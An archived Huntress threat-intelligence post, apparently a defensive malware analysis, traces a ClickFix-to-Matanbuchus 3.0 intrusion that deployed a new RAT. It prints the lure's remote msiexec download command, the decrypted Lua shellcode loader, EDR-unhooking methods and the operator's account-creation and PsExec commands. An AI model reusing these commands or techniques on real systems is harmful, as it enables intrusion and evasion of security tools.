{
	"id": "903ef524-e485-425f-99b3-3270670ded83",
	"created_at": "2026-04-06T00:13:48.148895Z",
	"updated_at": "2026-04-10T03:30:57.647505Z",
	"deleted_at": null,
	"sha1_hash": "8dc53b834f8023a6bd358220f2eb7a409cbe6de3",
	"title": "A New RAT and a Hands-on-Keyboard Intrusion | Huntress",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 6704927,
	"plain_text": "A New RAT and a Hands-on-Keyboard Intrusion | Huntress\r\nArchived: 2026-04-05 13:48:34 UTC\r\nAcknowledgments: Special thanks to Amelia Casley for her contributions to this investigation\r\nBackground \r\nIn February 2026, the Huntress Tactical Response team and SOC responded to a hands-on intrusion that began with a\r\nClickFix infection, the social engineering technique that just won't die. ClickFix became one of the most prevalent initial\r\naccess methods in 2025, adopted by both cybercriminal and nation-state actors alike. The technique tricks victims into\r\ncopying and pasting malicious commands into their own systems, effectively turning users into the delivery mechanism and\r\nbypassing traditional email-based security controls entirely.\r\nThe ClickFix infection delivered Matanbuchus 3.0, a premium Malware-as-a-Service (MaaS) loader that has been sold on\r\nRussian-speaking cybercrime forums since it was first advertised by a threat actor known as “BelialDemon” in February\r\n2021. Originally rented for $2,500/month, version 3.0 represents a complete rewrite of the codebase and commands a\r\nsignificantly higher price - $10,000/month for the HTTPS variant and $15,000/month for a stealthier DNS-based version.\r\nThat price tag is roughly 3-5x what a typical midmarket loader costs, reflecting its focus on high-value, targeted operations\r\nrather than mass campaigns. Over the years, Matanbuchus has been used to deliver a range of follow-on payloads, including\r\nCobalt Strike, QakBot, DanaBot, Rhadamanthys stealer, and NetSupport RAT.\r\nWe assess with medium confidence that the ultimate objective of this intrusion was ransomware deployment or data\r\nexfiltration, based on the operator's playbook - rapid lateral movement to domain controllers, rogue account creation, and\r\nDefender exclusion staging, which closely mirrors patterns observed in pre-ransomware operations. In our case, the operator\r\nwas disrupted during lateral movement before reaching any final objective.\r\nMatanbuchus took a brief hiatus around May 2025 before returning, and existing public analysis of version 3.0 has focused\r\non the loader's own internals: its obfuscation, communication protocol, and command set. What hasn't been documented\r\nuntil now is what happens after Matanbuchus does its job. In the intrusion we responded to, Matanbuchus delivered a RAT\r\nwe had never seen before, a fully featured, custom implant we have dubbed AstarionRAT. With 24 commands, RSA-encrypted C2 traffic disguised as application telemetry, a SOCKS5 proxy, credential theft, reflective code loading, and port\r\nscanning capabilities, \r\nWhat followed the RAT deployment was a fast-moving intrusion: the operator returned the next day, moved laterally across\r\nthe network within 40 minutes, hitting a Windows Server and two domain controllers, using PsExec, rogue account creation,\r\nand Defender exclusions. \r\nIntrusion timeline\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 1 of 16\n\nKey takeaways\r\nClickFix + Matanbuchus 3.0 is an active combo: Matanbuchus is back after a brief hiatus in May 2025, now being\r\ndelivered through ClickFix social engineering prompts using silent MSI installations\r\nThe execution chain is deeply layered, from the initial ClickFix prompt to the final AstarionRAT payload, the attack\r\npasses through a silent MSI install, Zillya Antivirus DLL sideloading, Matanbuchus 3.0 with ChaCha20 encryption, a\r\nsecond DLL sideloading stage via java.exe/jli.dll, an embedded Lua 5.4.7 interpreter, a custom reflective PE loader,\r\nand finally the RAT itself\r\nAstarionRAT is a new, full-featured RAT with 24 commands, including credential theft, SOCKS5 proxy, port\r\nscanning, reflective code loading, and shell execution, with RSA-encrypted C2 communication disguised as\r\napplication telemetry\r\nHands-on-keyboard activity moved fast: from first lateral hop to targeting both domain controllers in under 40\r\nminutes\r\nLegitimate tooling was abused throughout: Zillya Antivirus binaries for sideloading, PsExec for lateral movement,\r\nrenamed 7-Zip for archive extraction, and C:\\ProgramData\\USOShared\\ as a staging directory to blend in with\r\nlegitimate Windows Update paths\r\nStep one: Trick the human\r\nThe attack starts with a ClickFix prompt instructing the victim to execute the following command:\r\n\"C:\\WINDOWS\\system32\\mSiexeC.EXe\" -PaCkAGe hxxp:\\\\binclloudapp[.]com\\temp\\..\\ValidationID\\..\\466943 /q\r\nA few things stand out here. The use of mixed casing in mSiexeC.EXe is a classic technique to evade simple string-matching\r\ndetection rules. The /q flag runs the installation silently, the victim sees no UI. The URL leverages backslashes and path\r\ntraversal sequences that ultimately collapse, resulting in a direct fetch of hxxp://binclloudapp[.]com/466943. This\r\nobfuscation adds a layer of confusion in logs and proxies that may not normalize the path.\r\nThe domain binclloudapp[.]com is a newly registered domain (created February 5, 2026), and resolves to 192.121.23[.]146,\r\nan IP hosted by M247 Europe SRL (AS 9009) in Germany. Notably, the same IP also hosts sectigoapps[.]com and\r\nsolidclouaps[.]com. All three domains follow a pattern of brand impersonation, borrowing fragments of recognizable\r\nsecurity and cloud brand names and combining them into plausible-sounding but fabricated service names.\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 2 of 16\n\nFrom numerous MSI installers, we observed files installed under the following fake security product paths:\r\n%APPDATA%\\AegisLynx Cybernetics Ltd\\AegisLynx Threat Fabric\\AVU\\\r\n%APPDATA%\\DocuRay Technologies S.r.l\\DocuRay PDF Professional\\ZAVY\\\r\n%APPDATA%\\HelixShield Technologies ApS\\HelixShield Adaptive Security\\APS\\ZAV\\\r\nThe MSI drops multiple files, including:\r\naps.exe - a renamed copy of 7-Zip, used to extract a password-protected archive (TMP412.7z with password\r\n4122102026) containing the Zillya sideloading package\r\ncore.exe (originally AVCore.exe) - legitimate Zillya! Antivirus core engine binary\r\nmsvcp120.dll, msvcr120.dll - legitimate Visual C++ runtime DLLs\r\nSystemStatus.dll - malicious DLL (Matanbuchus 3.0)\r\nZscLib.dll - a legitimate Zillya! Antivirus scanner library\r\nINFO - encrypted Matanbuchus shellcode\r\nMatanbuchus 3.0, a devil in disguise\r\nSystemStatus.dll is nothing but the infamous Matanbuchus 3.0 loader component. Matanbuchus 3.0 made a comeback after\r\na short break in May 2025, featuring a completely rewritten codebase according to its developer. Advertised on underground\r\nforums at $10,000/month for the HTTPS version and $15,000 for the DNS version, Matanbuchus 3.0 boasts a new client and\r\npanel built from scratch, support for running EXE/DLL/Shellcode/MSI payloads both from disk and in memory, reverse\r\nshell capabilities via CMD/PS, WQL query execution, high-quality screenshot capture, a morphing engine to maintain clean\r\nbuilds without crypters, and support for a wide range of delivery formats including MSI/EXE/DLL/ISO/BIN. \r\nFigure 1: Matanbuchus 3.0 advertisement\r\nThere is a great analysis on Matanbuchus from Zscaler, so we won't rehash the fundamentals here. Before getting to the\r\ninteresting stuff, it's worth mentioning that the Matanbuchus loader is heavily padded with junk code like meaningless API\r\ncalls, dead loops, and fake conditional branches that inflate the binary and slow down manual analysis. For example, the\r\nmain function (LoadSystemStatus) calls GetCursorPos, IsIconic, GetDesktopWindow, GetACP, and GetCPInfo for no\r\nfunctional reason. Long busy-loops (iterating hundreds to thousands of times with no useful operation) also act as sandbox\r\nevasion by burning execution time past typical sandbox timeout windows. \r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 3 of 16\n\nFigure 2: Junk API calls\r\nFigure 3: A graph overview of the Matanbuchus DLL, showing the dense web of control flow paths inflated by junk code,\r\ndead loops, and fake conditional branches throughout the binary\r\nMore than 70 strings were decrypted from the binary. The list below includes DLL names for dynamic API resolution, User-Agent strings, WQL queries, registry paths, format strings, and EDR process names used for security product detection:\r\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\r\nContent-Type: multipart/form-data; boundary=----\r\nWindows-Update-Agent/10.0.22631.3007 Client-Protocol/2.31\r\nPOST\r\nabcdefghijklmnopqrstuvwxyz\r\nTEMP\r\nexe\r\n%HOMEDRIVE%\\\r\n%02x%02x\r\n%08lx-%04x-%04x-%04x-%04x%08lx\r\nUSERDOMAIN\r\nCOMPUTERNAME\r\n%WINDIR%\\SysWOW64\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 4 of 16\n\nSOFTWARE\\%s\r\nUSERNAME\r\nROOT\\CIMV2\r\nWQL\r\nSELECT DisplayName FROM Win32_Service\r\nDisplayName\r\nSELECT HotFixID FROM Win32_QuickFixEngineering\r\nHotFixID\r\nSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\r\nSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\%s\r\nPROGRAMDATA\r\n%s\\%s\r\ndll\r\n%s\\%s.%s\r\nsync%s\r\nopen\r\nmsmpeng.exe\r\ncsfalconservice.exe\r\nsentinelagent.exe\r\nsavadminservice.exe\r\nmcshield.exe\r\ncytray.exe\r\nbdagent.exe\r\nThe loader uses EDR process names to enumerate running processes and report back which security products are present on\r\nthe victim to likely inform the operator's choice of execution method for subsequent payloads.\r\nChaCha20 string decryption\r\nAll sensitive strings in the loader are encrypted in a single blob. The first 44 bytes of this blob serve as the shared ChaCha20\r\nkey (32 bytes) and nonce (12 bytes). A separate index array stores [offset, size] pairs that reference individual encrypted\r\nstrings within the blob. To decrypt a string, the loader reads the offset and size from the index array, slices the corresponding\r\nbytes from the encrypted blob (after the 44-byte header), and decrypts with ChaCha20 using the shared key and nonce.\r\nFigure 4: The string decryption function reads the ChaCha20 key and nonce from the first 44 bytes of the encrypted blob,\r\nthen uses the string index array (left) to locate and decrypt individual strings by their offset and size.\r\nShellcode decryption via brute-force key recovery\r\nThe loader reads an encrypted shellcode blob from a file named INFO located in the same directory as the executable. This\r\nfile is delivered as part of the MSI/ZIP package, it is not embedded in the DLL itself. The loader validates that the file is\r\nexactly 8,624 bytes before proceeding.\r\nTo decrypt the shellcode, Matanbuchus brute-forces its own ChaCha20 encryption using a known-plaintext check. The 32-\r\nbyte key is built by converting a numeric counter to an 8-byte ASCII string and appending a 24-byte hardcoded suffix. The\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 5 of 16\n\ncounter starts at 99999999 and decrements on each failed attempt. The nonce is derived by XORing 12 hardcoded bytes with\r\n0x5A, producing 01 02 03 04 05 06 07 08 09 10 11 12. After each decryption attempt, the first 21 bytes are compared\r\nagainst the expected prologue of a Heaven's Gate shellcode. If they match, the correct key has been found:\r\nE9 A0 00 00 00 jmp loc_A5\r\n55 push ebp\r\n89 E5 mov ebp, esp\r\n6A 33 push 33h\r\nE8 00 00 00 00 call $+5\r\n83 04 24 05 add dword ptr [esp], 5\r\nCB retf\r\n48 dec eax\r\nThis is the prologue of a Heaven's Gate shellcode, a technique that transitions 32-bit code into 64-bit execution mode by\r\nperforming a far return to code segment 0x33, bypassing the normal WoW64 layer. This allows the shellcode to execute 64-\r\nbit syscalls directly, commonly used to evade EDR hooks on 32-bit ntdll stubs. If the comparison fails, the counter is\r\ndecremented, and the process repeats until the correct key is found.\r\nThe decrypted shellcode: C2 URL extraction\r\nOnce decrypted, the 8,624-byte shellcode is copied to RWX memory and executed. The shellcode's purpose is to download\r\nthe Matanbuchus main module from a hardcoded C2 URL.\r\nThe shellcode constructs its strings character-by-character using PUSH imm8 / POP EAX / STOSW sequences, a classic\r\nanti-string-extraction technique. Each character is pushed as an immediate byte value\r\nThe constructed C2 URL from the decrypted shellcode: \r\nhxxps://marle[.]io/check/updprofile.aspx\r\nThe shellcode also resolves ntdll.dll and kernel32.dll for its API resolution, then uses WinINet APIs to issue an HTTPS GET\r\nrequest to the C2 URL to download the main Matanbuchus module.\r\nThe response from the C2 server is also ChaCha20-encrypted. Per the protocol, if the first 4 bytes of the downloaded\r\npayload equal 0xDEADBEEF, the payload is written to disk. The remaining structure is the following:\r\nstruct downloaded_main_mod {\r\nuint8_t magic[4]; // 0xDEADBEEF = write to disk\r\nuint8_t key[32]; // ChaCha20 key\r\nuint8_t nonce[12]; // ChaCha20 nonce\r\nuint8_t data[]; // encrypted main module\r\n};\r\nDecryption is performed in 0x2000-byte (8KB) chunks with an incrementing ChaCha20 counter state, the same chunked\r\ndecryption pattern used across all Matanbuchus loader layers.\r\nMatanbuchus says, “I brought a friend.”\r\nNow you're probably wondering, did Matanbuchus actually prove its loader capability and deliver a payload? It did, and\r\nthere are more layers to peel back.\r\nThe loader delivered a second-stage DLL sideloading package to disk under\r\nC:\\Users\\username\\AppData\\Local\\Temp\\ndvyxgdriggmarrf\\, a legitimate copy of java.exe alongside a malicious jli.dll and\r\nan encrypted Lua script named SySUpd. When java.exe executes, it naturally loads jli.dll, which is normally the Java\r\nLaunch Interface library, triggering the malicious code. \r\nEmbedded Lua interpreter, you say?\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 6 of 16\n\nJunk code obfuscation\r\nEvery meaningful operation in the DLL is buried under layers of arithmetic junk code. Three global constants stored in the\r\n.data section feed into opaque predicates repeated hundreds of times throughout the binary. These expressions always\r\nevaluate to the same result based on the fixed constants (1, 8, 9), making them dead code. Their sole purpose is to inflate the\r\nbinary and confuse decompilers, turning what should be a few dozen lines of logic into thousands.\r\nFigure 5: Junk code obfuscation in jli.dll, arithmetic expressions using fixed constants that always evaluate to the same\r\nresult, inflating a few lines of real logic into thousands of lines of dead code.\r\nKnownDlls hook evasion\r\nBefore making any sensitive API calls, the loader unhooks both kernel32.dll and ntdll.dll. Many EDR products monitor\r\nmalicious activity by placing inline hooks on critical API functions - small patches at the start of functions like\r\nNtAllocateVirtualMemory that redirect execution to the EDR's own inspection code. To bypass this, the malicious DLL\r\nloader replaces the .text sections of the in-process DLLs with clean, unhooked copies sourced from the Windows\r\n\\KnownDlls\\ object directory. The paths are constructed character by character to avoid string-based detection. The\r\n\\KnownDlls\\ directory is a Windows object manager section that holds pre-mapped, cached copies of commonly used\r\nsystem DLLs. Because these sections are mapped directly from the on-disk binaries by the kernel at boot time, they are\r\nguaranteed to be clean, untouched by any usermode hooking. The loader opens the clean section with NtOpenSection() and\r\nmaps it into the process with NtMapViewOfSection(). It then walks the mapped PE's section headers looking for .text,\r\ntemporarily marks the loaded (hooked) DLL's .text as writable with VirtualProtect(PAGE_EXECUTE_READWRITE),\r\noverwrites it with the clean bytes, and restores the original memory protection. After this runs, any inline hooks that EDR\r\nproducts had placed in kernel32.dll and ntdll.dll are gone, the loader now has clean, unmonitored access to the Windows API\r\nfor everything that follows.\r\nEmbedded Lua 5.4.7 interpreter\r\nWith clean API access established, the loader initializes a full embedded Lua 5.4.7 interpreter. The bytecode dispatch loop is\r\na 13,600-byte function containing a switch statement with 82 opcodes.\r\nFigure 6: IDA graph view of the Lua 5.4.7 bytecode interpreter, showing the 82-case opcode dispatch switch\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 7 of 16\n\nThe VirtualAlloc wrapper resolves the API name dynamically using a simple character-shift cipher; each byte of the\r\nobfuscated string is decremented by 3.\r\nFigure 7: The obfuscated \"YluwxdoDoorf\" string is decoded at runtime by subtracting 3 from each byte to resolve\r\n\"VirtualAlloc\"\r\nLoading the encrypted Lua script\r\nThe loader locates itself on disk using GetModuleHandleExW with the\r\nGET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS flag, retrieves its file path via GetModuleFileNameA, strips\r\nthe filename, and constructs the path to a companion file named SySUpd. The SySUpd file contents are then decrypted using\r\na rolling XOR with the 10-byte key #5CW6jvMuW. \r\nThe decrypted Lua script is loaded into the interpreter using luaL_loadbuffer, which compiles the raw script text into Lua\r\nbytecode, and then executed with lua_pcall, which runs the compiled bytecode. The script itself then calls luaalloc, luacpy,\r\nand luaexe -  three custom functions the malware author wrote and registered into the interpreter (short for \"lua allocate\",\r\n\"lua copy\", and \"lua execute\")  to allocate RWX memory, copy the shellcode into it, and jump to it via a raw function pointer\r\ncall.\r\nSysUpd doesn’t stand for \"System Update\"\r\nThe decrypted SysUpd contains the following:\r\nlocal custom_b64_table = \"ZXEFGHIlbcJKLMABCDNOPTUVWzyxajk345defghYimnQRSopqrstuvw0126789+/\"\r\nlocal index_table = {}\r\nfor i = 1, #custom_b64_table do\r\nlocal char = custom_b64_table:sub(i, i)\r\nindex_table[char] = i - 1\r\nend\r\nfunction custom_b64decode(data)\r\nlocal bits = 0\r\nlocal bit_count = 0\r\nlocal output = {}\r\nfor i = 1, #data do\r\nlocal char = data:sub(i, i)\r\nif char == \"=\" then\r\nbreak\r\nend\r\nlocal index = index_table[char]\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 8 of 16\n\nif index then\r\nbits = bits * 64 + index\r\nbit_count = bit_count + 6\r\nwhile bit_count \u003e= 8 do\r\nbit_count = bit_count - 8\r\nlocal byte = math.floor(bits / (2 ^ bit_count)) % 256\r\ntable.insert(output, string.char(byte))\r\nbits = bits % (2 ^ bit_count)\r\nend\r\nelse\r\nreturn nil\r\nend\r\nend\r\nreturn table.concat(output)\r\nend\r\nlocal encoded_shellcode =\r\n\"TtlZoCiZZZXONbBRkGdM3EDb86SbeVqfLKfIZZZZ86o2FcrsZ+eJXqZZNbVZNbgGcI4B5JLZZZZrsPI1yXEGPfdcqoe6XqZZNbSPcI4rsPI1Vj\r\nlocal shellcode = custom_b64decode(encoded_shellcode)\r\nif shellcode == nil then\r\nreturn\r\nend\r\nlocal shellcode_length = #shellcode\r\nif shellcode_length == 0 then\r\nreturn\r\nend\r\nlocal alloc_mem = luaalloc(shellcode_length)\r\nlocal result = luacpy(alloc_mem, shellcode, shellcode_length)\r\nlocal exec_result = luaexe(alloc_mem)\r\nAfter decryption, the Lua script is straightforward; its only purpose is to decode and execute embedded shellcode. It defines\r\na custom base64 decoder using a non-standard alphabet\r\n(ZXEFGHIlbcJKLMABCDNOPTUVWzyxajk345defghYimnQRSopqrstuvw0126789+/). The script then decodes\r\napproximately 202KB of encoded data into ~151KB of raw x64 shellcode, allocates an executable memory region, copies\r\nthe shellcode into it, and jumps to it.\r\nMore shellcode…when will it end?!\r\nThe 151KB of decoded shellcode is a position-independent reflective PE loader. Only the first 3KB is executable code, the\r\nremaining ~148KB is payload data containing two embedded stages in a custom binary format.\r\nThe entry point begins by walking the Process Environment Block to locate ntdll.dll and resolve four native API functions\r\nby hash using the following hashing algorithm (multiply-by-131 rolling hash):\r\nhash = 0;\r\nfor each byte in name:\r\nif byte \u003c= 0x60:\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 9 of 16\n\nbyte += 0x20; // lowercase\r\nhash = hash * 131 + byte; // 131 = 0x83\r\nThese are the only four APIs the shellcode resolves directly, and everything else is handled later by the embedded payloads:\r\nFigure 8: The shellcode entry point resolving four ntdll APIs by hash via PEB walking\r\nShellcode stage 1: Reflective PE loader\r\nAfter resolving APIs, the shellcode's reflective PE loader reads a 5-byte header from the embedded payload data, a 4-byte\r\nsize field and a relocation flag, and begins reconstructing the Stage 1 DLL in memory.\r\nThe Stage 1 DLL is not stored as a standard PE file. Instead, it has been disassembled into individual components and\r\npacked into a custom binary stream, a format the shellcode author designed specifically for this loader. The stream contains:\r\nA flag byte (0x02)\r\nFour metadata DWORDs: section alignment, entry point RVA, and two loader control values\r\nSeven data blobs, each prefixed with a 4-byte size: the .text section (8,466 bytes of executable code), the encrypted\r\nrelocation table and import descriptors, and the XOR keys used to decrypt them\r\nFigure 9: The embedded payload: the Stage 1 DLL packed into a custom binary stream containing the .text section,\r\nencrypted import/relocation tables, and XOR keys\r\nThe reflective loader processes the stream step by step. It allocates memory with NtAllocateVirtualMemory, maps the PE\r\nsections into the allocated region, then XOR-decrypts the import and relocation data using keys embedded alongside them in\r\nthe stream.\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 10 of 16\n\nFigure 10: Each byte of the target buffer is XORed with a rolling key (key[i % key_len]), used to decrypt the import and\r\nrelocation data before processing\r\nWith the data decrypted, the loader applies base relocations, resolves imports by hashing export names from loaded DLLs,\r\nand patches the IAT (Import Address Table) with the resolved function pointers. It then sets memory protection with\r\nNtProtectVirtualMemory and calls the reconstructed Stage 1 DLL's entry point, passing it a pointer to the Stage 2 payload\r\n(~137KB) and its size.\r\nShellcode stage 2: Decompressing the final payload\r\nThe reconstructed Stage 1 is a small ~8.5KB DLL with no import table. All API access is routed through an internal hash\r\ndispatch function using the same multiply-by-131 hashing algorithm described above.\r\nDllEntryPoint receives the Stage 2 data pointer and its size from the shellcode. It XOR-decrypts the payload header using\r\nthe same rolling XOR algorithm seen throughout the chain, then validates the decrypted data for MZ (0x5A4D) and PE\r\n(0x4550) signatures.\r\nThe core function calls RtlDecompressBuffer with LZNT1 compression to decompress the final payload. The decompressed\r\noutput begins with a 12-byte name field (Beacon.exe, null-padded) and a 4-byte PE size, followed by the raw PE.\r\nStage 1 parses the PE headers, maps its sections into allocated memory, resolves imports, and creates a new thread to\r\nexecute it.\r\nAstarionRAT\r\nC2 configuration \r\nAstarionRAT stores its C2 configuration in the .data section. The C2 (www.ndibstersoft[.]com) is RC4-encrypted and hex-encoded, the decryption function hex-decodes the string, then RC4-decrypts it using a hardcoded 110-byte key. \r\nHTTP Communication Profile\r\nAstarionRAT’s HTTP request templates are stored hex-encoded in the .data section and decoded at runtime. The GET\r\nrequest targets /intake/organizations/events?channel=app, mimicking legitimate application telemetry. The User-Agent string\r\nimpersonates an older Edge browser (Edge/18.19045) with Accept-Language: zh-CN,zh;q=0.9 and a Google referer, while\r\nbeacon data is embedded in a cookie header between static values: AFUAK=1C5DEC09609A6B41; BLA=\u003cbeacon_data\u003e;\r\nHFK=423b5828bc98f5c7c57e6c321. \r\nMetadata beacon\r\nOn initial check-in, AstarionRAT constructs a metadata packet starting with a 0xBEEF magic marker followed by a length\r\nfield. It generates 16 random bytes and writes them into the packet, then SHA-256 hashes them to derive a session key\r\nstored separately for future communication. The packet then includes the system's ANSI and OEM code pages, a random\r\neven beacon ID (between 100000–999998), the current PID, a two-byte zero field, and a privilege flag (0x0E for admin,\r\n0x06 for standard user) determined by checking membership in the Administrators group (S-1-5-32-544) via\r\nAllocateAndInitializeSid and CheckTokenMembership. This is followed by the OS version (major, minor, build number), 12\r\nbytes of padding, the local IP address obtained via WSAIoctl, and a tab-delimited string of the computer name, username,\r\nand process filename (COMPUTER\\tUSER\\tprocess.exe):\r\nThe entire packet is RSA-encrypted using a hardcoded 1024-bit public key, split into 117-byte chunks before transmission.\r\nThe beacon follows a standard polling loop with a 10-second interval. It builds and RSA-encrypts the metadata packet,\r\nsends it via HTTP GET, parses the response as network-byte-order [command_id][size][data] tuples, dispatches each task\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 11 of 16\n\nthrough the command dispatcher, and sends results back via HTTP POST. On failure, it reconnects and retries after sleeping.\r\nCommand dispatcher\r\nAstarionRAT supports 24 commands dispatched through a switch statement. The command set covers file operations,\r\nprocess management, credential theft and impersonation, shell execution with output capture, a SOCKS5 proxy, network\r\nport scanning, and a reflective code loader capable of executing arbitrary operator-supplied payloads entirely in memory:\r\nCommand\r\nID\r\nFunction Description\r\n3 Exit Sends a final output packet, then calls ExitProcess(0) to terminate the beacon\r\n4 Sleep\r\nUpdates the beacon's polling interval and jitter percentage from two network-byte-order DWORDs\r\n5\r\nChange\r\nDirectory\r\nCalls SetCurrentDirectoryA with the provided path\r\n10\r\nWrite File to\r\nDisk\r\nExtracts a length-prefixed filename and file contents from the task data, writes to the\r\nvictim's disk in write mode ( \"wb\" )\r\n11 Exfiltrate File\r\nOpens a file with CreateFileA , validates the size is under 4GB, resolves the full\r\npath, reads the contents, and sends the data back to the C2\r\n12\r\nExecute\r\nCommand\r\nSpawns a process via CreateProcessW . If an impersonation token is held, tries\r\nCreateProcessAsUserW , falls back to CreateProcessWithTokenW , then\r\nCreateProcessWithLogonW with stored credentials\r\n28 Revert to Self\r\nCloses the current impersonation token, resets the thread token via\r\nNtSetInformationThread , and clears stored credentials\r\n31 Steal Token\r\nDynamically resolves Nt* APIs from ntdll.dll. Opens a target process by PID,\r\nduplicates its token with MAXIMUM_ALLOWED access, applies it to the current thread,\r\nand reports the impersonated identity back to the C2\r\n32 List Processes\r\nSnapshots running processes with CreateToolhelp32Snapshot and iterates with\r\nProcess32FirstW / Process32NextW . For each process, queries the image path,\r\nsession ID, and architecture (x86/x64). Output is tab-delimited:\r\nprocess.exe\\tPPID\\tPID\\tarch\\tpath\\tsession\r\n33 Kill Process Opens a process by PID with PROCESS_TERMINATE and calls TerminateProcess\r\n39\r\nGet Current\r\nDirectory\r\nReturns the current working directory via GetCurrentDirectoryA\r\n49\r\nCredential\r\nLogon\r\nExtracts domain, username, and password from the task data. Authenticates via\r\nLogonUserA with LOGON32_LOGON_NEW_CREDENTIALS , impersonates the resulting\r\ntoken, and stores the credentials for future process creation\r\n53\r\nDirectory\r\nListing\r\nEnumerates files using FindFirstFileA / FindNextFileA . Directories output as\r\nD\\t0\\tMM/DD/YY HH:MM:SS\\tname , files as F\\tsize\\tMM/DD/YY HH:MM:SS\\tname\r\n54\r\nCreate\r\nDirectory\r\nCalls CreateDirectoryA with the provided path\r\n55 List Drives Calls GetLogicalDrives and formats the bitmask into a readable string\r\n56\r\nDelete\r\nFile/Directory\r\nChecks GetFileAttributesA - if the directory flag is set, calls RemoveDirectoryA ;\r\notherwise calls DeleteFileA\r\n67\r\nWrite File to\r\nDisk (Append)\r\nSame as command 10 but opens in append mode ( \"ab\" ), enabling multi-part file\r\ntransfers to the victim\r\n73 Copy File\r\nExtracts length-prefixed source and destination paths, calls CopyFileA with\r\noverwrite enabled\r\n74 Move File Same parsing as command 73, calls MoveFileA\r\n78 Shell Execute Two modes: if the command starts with 1# , spawns CMD with piped stdin/stdout,\r\nwrites the command followed by \u0026exit\\n , and captures output. Otherwise wraps in\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 12 of 16\n\nCommand\r\nID\r\nFunction Description\r\nCMD /C \u003ccommand\u003e and captures output via a read pipe\r\n100\r\nExecute In-Memory Code\r\nOn-demand in-memory code execution - the threat actor can send any compiled\r\npayload to the beacon at any time. The loader parses it into code, relocation, and\r\nimport sections, allocates RWX memory via VirtualAlloc, applies relocations, resolves\r\nimports via GetProcAddress, and executes it. The loaded code receives a function\r\ntable of 25 callbacks for parsing input, building output, sending results to the C2,\r\nreporting errors, checking admin privileges, managing impersonation tokens, and\r\nresolving additional APIs, allowing tools to run entirely in memory without touching\r\ndisk.\r\n101–102 Tunnel Setup\r\nBoth command IDs route to the same function - resolves the target host, connects, and\r\nestablishes a proxied network tunnel with the operator's credentials. Traffic is relayed\r\nbidirectionally through a dedicated handler thread with XOR 0x10 obfuscation.\r\nSending the value 100002 tears down the active tunnel.\r\nFigure 11: Snippet of the command dispatcher switch statement handling commands\r\nSOCKS5 proxy\r\nThe SOCKS5 implementation is the largest function in the binary at 4,161 bytes. All proxy traffic is XOR-obfuscated with\r\n0x10 using SIMD instructions for bulk operations on 64-byte blocks. The proxy supports CONNECT commands with both\r\nIPv4 and domain name resolution, and authenticates against credentials provided by the C2.\r\nNow that the payloads have been analyzed, let's move on to the hands-on activity.\r\nThings got a bit spicy\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 13 of 16\n\nWith AstarionRAT active on the initial endpoint, the operator established persistence via a scheduled task named Application\r\nMaintenance, configured to execute Core.exe from C:\\ProgramData\\2895e798a2579e6\\.\r\nApproximately 17 hours later, the operator returned and used the RAT to start the Application Management service:\r\ncmd.exe /c sc start AppMgmt \u003enul 2\u003enul\r\nThis kicked off the hands-on-keyboard phase. The operator immediately performed domain reconnaissance through the\r\nRAT's command dispatcher:\r\nnet groups \"Domain Admins\" /domain\r\nnltest /dclist:\r\nThe operator staged their tooling on the beachhead under C:\\ProgramData\\USOShared\\, a directory commonly abused by\r\nthreat actors as it mimics the legitimate Windows Update USOShared folder. From there, the operator leveraged a\r\ncompromised service account to initiate an RDP session to a Windows Server on the network. Within minutes of landing, a\r\nbatch script was executed:\r\nC:\\programdata\\usoshared\\rdp.bat\r\nUnfortunately, the contents of the batch scripts were not recoverable. However, based on process telemetry, the script likely\r\nautomated the creation of a rogue local administrator account. The following commands were captured:\r\nnet user DefaultService AiRPcp47_r00t /add\r\nnet localgroup Administradores DefaultService /add\r\nThe use of Administradores (the Spanish-language equivalent of Administrators) was a curious detail; the targeted\r\norganization is not based in a Spanish-speaking country. The operator attempted the Spanish-localized group name first,\r\nfollowed by the English version approximately 10 minutes later.\r\nThe operator then authenticated via RDP using the newly created DefaultService account, establishing interactive access\r\nindependent of the original compromised credentials.\r\nShortly after, the operator used PsExec from the beachhead to simultaneously push tooling to both the Windows Server and\r\na Backup Domain Controller:\r\npsexec.exe -accepteula -s -d \\\\\u003cwindows_server\u003e c:\\programdata\\usoshared\\rdp.bat\r\npsexec.exe -accepteula -s -d \\\\\u003cwindows_server\u003e c:\\programdata\\usoshared\\rdp1.bat\r\npsexec.exe -accepteula -s -d \\\\\u003cwindows_server\u003e c:\\programdata\\usoshared\\java.exe\r\npsexec.exe -accepteula -s -d \\\\\u003cbackup_dc\u003e c:\\programdata\\usoshared\\rdp.bat\r\npsexec.exe -accepteula -s -d \\\\\u003cbackup_dc\u003e c:\\programdata\\usoshared\\java.exe\r\nOn each host, the operator replicated the same playbook: create the rogue account, add it to local Administrators, and deploy\r\nAstarionRAT via the java.exe DLL sideloading package.\r\nOn each host, the operator created the rogue DefaultService account and added it to local Administrators. The operator also\r\nattempted to deploy AstarionRAT via the java.exe DLL sideloading package on both targets. However, Defender quarantined\r\njli.dll on both hosts before the sideloading could succeed. On the Windows Server, the operator did set a Defender exclusion\r\nfor C:\\ProgramData\\USOShared\\, but roughly 15 minutes after Defender had already detected and quarantined the 